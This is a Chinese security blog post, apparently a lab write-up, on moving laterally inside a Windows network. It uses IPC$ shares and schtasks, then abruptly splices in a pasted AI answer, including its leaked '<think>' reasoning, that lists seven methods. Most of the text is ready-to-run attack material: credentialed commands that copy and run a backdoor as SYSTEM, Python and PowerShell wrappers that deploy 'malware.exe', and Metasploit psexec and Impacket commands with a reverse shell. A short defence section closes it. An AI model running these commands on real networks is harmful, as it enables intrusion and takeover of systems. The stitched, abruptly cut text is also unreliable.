内网安全之横向移动(冰蝎&&msf&&IPC$)

冰蝎Webshell管理工具及利用IPC$与schtasks进行内网渗透

1.冰蝎介绍

冰蝎是一款目前比较流行的Webshell管理工具,因其优秀的加密传输特性,被攻击者广泛采用。冰蝎相较其它Webshell管理工具,具备如下优点:支持跨平台运行、多采用加密传输、版本更新频繁等。新版本增加了Java内存马注入、支持多种Web容器、反向DMZ等功能。

 2.实验

通过获取内网中的主机shell,上传木马,再通过内网主机之间建立IPC$通道实现内网横向移动,并通过windows定时任务执行,获取反弹shell

环境:

kali: 192.168.4.157

win7A:192.168.4.129  1.1.1.10

win7B:1.1.1.11

首先通过ms17-010获取内网win7A的shell

通过获得的shell,与WIN7B建立IPC$通道,

生成远程木马

上传木马到WIN7A

进入win7A的shell通过ipc$通道上传木马至win7B

设置payload进行本地监听此木马,等待反向连接,通过schtasks命令来执行木马

 由于环境出了问题,因为上传的.exe因系统权限,没能成功执行,后期可以上传一些ps,或者其他shell,来获取目标系统的shell,整个人麻木了,这是啥呀。。。。。。。

知识补充:

1.IPC$简介

IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

使用条件

1.开放了139、445端口;
2.目标开启ipc$文件共享;
3.获取用户账号密码。

测试过程

此测试前提是获取了ipc$,
这里测试的时候得到的权限是system,然后创建了一个admin账户,给了administrators权限,但无法复制文件过去,于是就改了administrator账户密码(实战中不建议更改,可读取管理密码后再用读到的密码)。
更改密码:net user administrator "1qaz@WSX"

  • 1.连接目标ipc$,将后门复制到目标机器上
net use \\193.168.1.12\ipc$ /user:administrator "1qaz@WSX"
copy plugin_update.exe \\193.168.1.12\c$\windows\temp\plugin_update.exe

  • 2.创建自动任务,执行上传的后门程序
# 查看目标机器时间
net time \\193.168.1.12
# 创建该时间之后的某个时刻自动执行任务,任务名 plugin_update
schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 16:32 /S 193.168.1.12 /RU System /u administrator /p "1qaz@WSX"
# 如果不想等,可以立即运行后门程序
schtasks /run /tn "plugin_update" /S 193.168.1.12 /u administrator /p "1qaz@WSX"
# 删除创建的任务
schtasks /F /delete /tn "plugin_update" /S 193.168.1.12 /u administrator /p "1qaz@WSX"

接收端的目标机器已上线。

常用命令

# 1.连接
net use \\193.168.1.12\ipc$ /user:administrator "1qaz@WSX"
# 2.查看连接情况
net use
# 3.查看目标主机共享资源
net view \\193.168.1.12
# 4.查看目标主机时间
net time \\193.168.1.12
# 5.查看目标主机的NetBIOS用户(自己本机也需开启)
nbtstat -A 193.168.1.12
# 6.删除连接
net use \\193.168.1.12\ipc$ /del
# 7.文件上传下载
copy plugin_update.exe \\193.168.1.12\c$\windows\temp\plugin_update.exe   
(上传到目标的:c\windows\temp\目录下)
copy \\127.0.0.1\c$\test.exe c:\
(下载到本地c盘下)
# 8.创建计划任务
schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 1 6:32 /S 193.168.1.12 /RU System /u administrator /p "1qaz@WSX"
# 9.立即执行计划任务
schtasks /run /tn "plugin_update" /S 193.168.1.12 /u administrator /p "1qaz@WSX"
# 10.删除计划任务
schtasks /F /delete /tn "plugin_update" /S 193.168.1.12 /u administrator /p "1qaz@WSX"


2.schtasks简介

schtasks create    创建新的计划任务。

语法

schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rpPassword]] /?

参数

/tn TaskName         指定任务的名称。

/tr TaskRun             指定任务运行的程序或命令。键入可执行文件、脚本文件或批处理文件的完全合格的路径和文件名。

                               如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。

/sc schedule           指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。


值说明

MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY
指定计划的时间单位。

ONCE
任务在指定的日期和时间运行一次。

ONSTART
任务在每次系统启动的时候运行。可以指定启动的日期,或下一次系统启动的时候运行任务。

ONLOGON
每当用户(任意用户)登录的时候,任务就运行。可以指定日期,或在下次用户登录的时候运行任务。

ONIDLE
只要系统空闲了指定的时间,任务就运行。可以指定日期,或在下次系统空闲的时候运行任务。

/mo modifier

指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。

计划类型
修饰符
说明

MINUTE
1 ~ 1439
任务每 n 分钟运行一次。

HOURLY
1 ~ 23
任务每 n 小时运行一次。

DAILY
1 ~ 365
任务每 n 天运行一次。

WEEKLY
1 ~ 52
任务每 n 周运行一次。

MONTHLY
1 ~ 12
任务每 n 月运行一次。

LASTDAY
任务在月份的最后一天运行。

FIRSTSECONDTHIRDFOURTHLAST
与 /d day 参数共同使用,并在特定的周和天运行任务。例如,在月份的第三个周三。

/d dirlist

指定周或月的一天。只与 WEEKLY 或 MONTHLY 计划共同使用时有效。

计划类型
日期值

WEEKLY
可选项。有效值是 MON ~ SUN 和 * (每一天)。MON 是默认值。

MONTHLY
在使用 FIRST、SECOND、THIRD、FOURTH 或 LAST 修饰符 (/mo) 时,需要 MON ~ SUN 中的某个值。1 ~ 31 是可选的,只在没有修饰符或修饰符为 1 ~ 12 类型时有效。默认值是 1 (月份的第一天)。

/m month[,month...]

指定一年中的一个月。有效值是 JAN ~ DEC 和 * (每个月)。/m 参数只对于 MONTHLY 计划有效。在使用 LASTDAY 修饰符时,这个参数是必需的。否则,它是可选的,默认值是 * (每个月)。

/i InitialPageFileSize

指定任务启动之前计算机空闲多少分钟。键入一个 1 ~ 999 之间的整数。这个参数只对于 ONIDLE 计划有效,而且是必需的。

/st

<think> 我们讨论横向移动的七种方法:IPC$、IPC$+AT/SCHTASKS、IPC$+SC、WMIC、WinRM、MSF(Metasploit)和Impacket工具包。下面将分别给出每种方法的原理、代码示例(如适用)和简要说明。注意:这些技术仅用于教育和授权测试目的。 1. IPC$共享 2. IPC$ + AT/SCHTASKS 3. IPC$ + SC(服务控制) 4. WMIC 5. WinRM 6. MSF(Metasploit Framework) 7. Impacket工具包 由于部分方法涉及工具使用而非纯代码,我们将尽可能提供代码示例(如Python、PowerShell或命令)并解释。 注意:代码示例可能需要根据实际环境调整(如目标IP、凭据、文件路径等)。 开始详细说明: </think> # 横向移动的七种主要方法详解 横向移动是渗透测试中攻击者在网络内部不同主机之间移动的技术。下面我将详细介绍七种常见横向移动方法,并提供相应的代码实现和防御策略。 ## 1. IPC$共享利用 ### 技术原理 IPC$是Windows的隐藏共享,允许远程管理文件系统和执行命令,需要管理员凭据。 ```python import subprocess def ipc_connect(target, username, password): """建立IPC$连接""" command = f"net use \\\\{target}\\IPC$ \"{password}\" /user:\"{username}\"" result = subprocess.run(command, shell=True, capture_output=True, text=True) if "successfully" in result.stdout: print(f"[+] IPC$连接成功: {target}") return True print(f"[-] 连接失败: {result.stderr}") return False def ipc_exec_copy(target, local_file, remote_path="C$\\Windows\\Temp\\"): """通过IPC$复制文件""" command = f"copy \"{local_file}\" \\\\{target}\\{remote_path}" result = subprocess.run(command, shell=True, capture_output=True, text=True) if "copied" in result.stdout: print(f"[+] 文件复制成功: {local_file} -> {target}") return True print(f"[-] 复制失败: {result.stderr}") return False # 使用示例 if __name__ == "__main__": target_ip = "192.168.1.100" username = "Administrator" password = "P@ssw0rd123" payload = "malware.exe" if ipc_connect(target_ip, username, password): ipc_exec_copy(target_ip, payload) ``` ## 2. IPC$ + AT/SCHTASKS ### 技术原理 结合IPC$复制文件后,使用计划任务执行恶意程序 ```python def schedule_task(target, task_name, executable_path, time="23:00"): """使用AT创建计划任务""" command = f"at \\\\{target} {time} \"{executable_path}\"" result = subprocess.run(command, shell=True, capture_output=True, text=True) if "Added" in result.stdout: print(f"[+] AT任务创建成功: {task_name}") return True # 尝试使用schtasks sch_command = ( f"schtasks /Create /S {target} /TN \"{task_name}\" " f"/TR \"{executable_path}\" /SC ONCE /ST {time} /RU SYSTEM /F" ) result = subprocess.run(sch_command, shell=True, capture_output=True, text=True) if "SUCCESS" in result.stdout: print(f"[+] Schtasks任务创建成功: {task_name}") return True print(f"[-] 任务创建失败: {result.stderr}") return False # 组合使用 if ipc_connect(target_ip, username, password): ipc_exec_copy(target_ip, payload) schedule_task(target_ip, "SystemUpdate", "C:\\Windows\\Temp\\malware.exe") ``` ## 3. IPC$ + SC(服务控制) ### 技术原理 通过创建Windows服务执行恶意程序 ```python def create_service(target, service_name, bin_path): """创建远程服务""" # 创建服务 create_cmd = ( f"sc \\\\{target} create {service_name} " f"binPath= \"{bin_path}\" start= auto" ) subprocess.run(create_cmd, shell=True) # 启动服务 start_cmd = f"sc \\\\{target} start {service_name}" result = subprocess.run(start_cmd, shell=True, capture_output=True, text=True) if "START_PENDING" in result.stdout or "RUNNING" in result.stdout: print(f"[+] 服务启动成功: {service_name}") return True print(f"[-] 服务启动失败: {result.stderr}") return False # 组合使用 if ipc_connect(target_ip, username, password): ipc_exec_copy(target_ip, payload) create_service(target_ip, "WinDefendUpdate", "C:\\Windows\\Temp\\malware.exe") ``` ## 4. WMIC(Windows管理规范) ### 技术原理 使用WMI远程执行命令,不需要预先建立连接 ```powershell # PowerShell实现WMIC横向移动 function Invoke-WMIExec { param( [string]$Target, [string]$Username, [string]$Password, [string]$Command ) $securePass = ConvertTo-SecureString $Password -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($Username, $securePass) $options = New-CimSessionOption -Protocol Wsman $session = New-CimSession -ComputerName $Target -Credential $cred -SessionOption $options if (-not $session) { Write-Host "[-] WMIC连接失败" return $false } $processClass = Get-CimClass -ClassName Win32_Process -CimSession $session $result = Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = $Command } if ($result.ReturnValue -eq 0) { Write-Host "[+] 命令执行成功 (PID: $($result.ProcessId))" return $true } Write-Host "[-] 命令执行失败 (错误码: $($result.ReturnValue))" return $false } # 使用示例 Invoke-WMIExec -Target "192.168.1.100" -Username "Administrator" -Password "P@ssw0rd123" -Command "cmd.exe /c C:\payload.exe" ``` ## 5. WinRM(Windows远程管理) ### 技术原理 使用HTTP(S)协议进行远程管理,5985/5986端口 ```python import winrm def winrm_exec(target, username, password, command): """通过WinRM执行命令""" try: session = winrm.Session( target, auth=(username, password), transport='ntlm' ) result = session.run_ps(command) if result.status_code == 0: print(f"[+] 命令执行成功:\n{result.std_out.decode()}") return True print(f"[-] 执行失败: {result.std_err.decode()}") return False except Exception as e: print(f"连接错误: {str(e)}") return False # 使用示例 winrm_exec("192.168.1.100", "admin", "Passw0rd!", "Start-Process -FilePath 'C:\\payload.exe'") ``` ## 6. MSF(Metasploit Framework) ### 技术原理 使用Metasploit内置模块进行横向移动 ```ruby # Metasploit模块示例:psexec横向移动 use exploit/windows/smb/psexec set RHOSTS 192.168.1.100 set SMBUser Administrator set SMBPass Passw0rd! set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.50 set LPORT 4444 exploit # Meterpreter后续命令 meterpreter > run post/windows/manage/migrate meterpreter > run post/multi/manage/autoroute ``` ## 7. Impacket工具包 ### 技术原理 使用Python开发的渗透测试工具集,包含多种横向移动方法 ```bash # 使用psexec.py横向移动 impacket-psexec administrator:'Passw0rd!'@192.168.1.100 # 使用wmiexec.py横向移动 impacket-wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 administrator@192.168.1.100 # 使用smbexec.py横向移动 impacket-smbexec -hashes :579da618cfbfa85247acf1f800a280a4 administrator@192.168.1.100 ``` ## 防御策略与检测方法 ### 1. 基础防御措施 ```powershell # 关闭高危服务 Stop-Service -Name LanmanServer -Force Set-Service -Name LanmanServer -StartupType Disabled # 禁用WinRM(非管理主机) Disable-PSRemoting -Force # 防火墙规则(阻止IPC$访问) New-NetFirewallRule -DisplayName "Block SMB" ` -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block ``` ### 2. 高级检测技术 ```python import psutil import datetime def detect_lateral_movement(): """检测横向移动迹象""" # 检测异常的SMB连接 suspicious_smb = [] for conn in psutil.net_connections(): if conn.status == 'ESTABLISHED' and conn.laddr.port == 445: suspicious_smb.append(conn.raddr.ip) # 检测异常服务创建 suspicious_services = [] for service in psutil.win_service_iter(): if service.username() not in ["LocalSystem", "NT AUTHORITY\\NetworkService"]: create_time = datetime.datetime.fromtimestamp(service.create_time()) if (datetime.datetime.now() - create_time).seconds < 300: suspicious_services.append(service.name()) # 检测异常计划任务 suspicious_tasks = [] output = subprocess.check_output("schtasks /query /fo list", shell=True).decode() for line in output.splitlines(): if "任务名" in line and ("update" in line.lower() or "temp" in line.lower()): suspicious_tasks.append(line.split(":")[1].strip()) return suspicious_smb, suspicious_services, suspicious_tasks # 使用示例 smb, services, tasks = detect_lateral_movement() if any([smb, services, tasks]): print("[!] 检测到可疑横向移动活动") ``` ### 3. 日志监控关键事件 | 事件ID | 描述 | 重要字段 | |--------|------|---------| | 4624 | 登录 | 登录类型3(网络登录) | | 4672 | 特权使用 | 管理员账户活动 | | 5140 | 文件共享访问 | 访问\IPC$路径 | | 7045 | 服务创建 | 新服务安装 | | 4698 | 计划任务创建 | 新任务创建 | | 4688 | 进程创建 | 可疑命令行参数 |
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值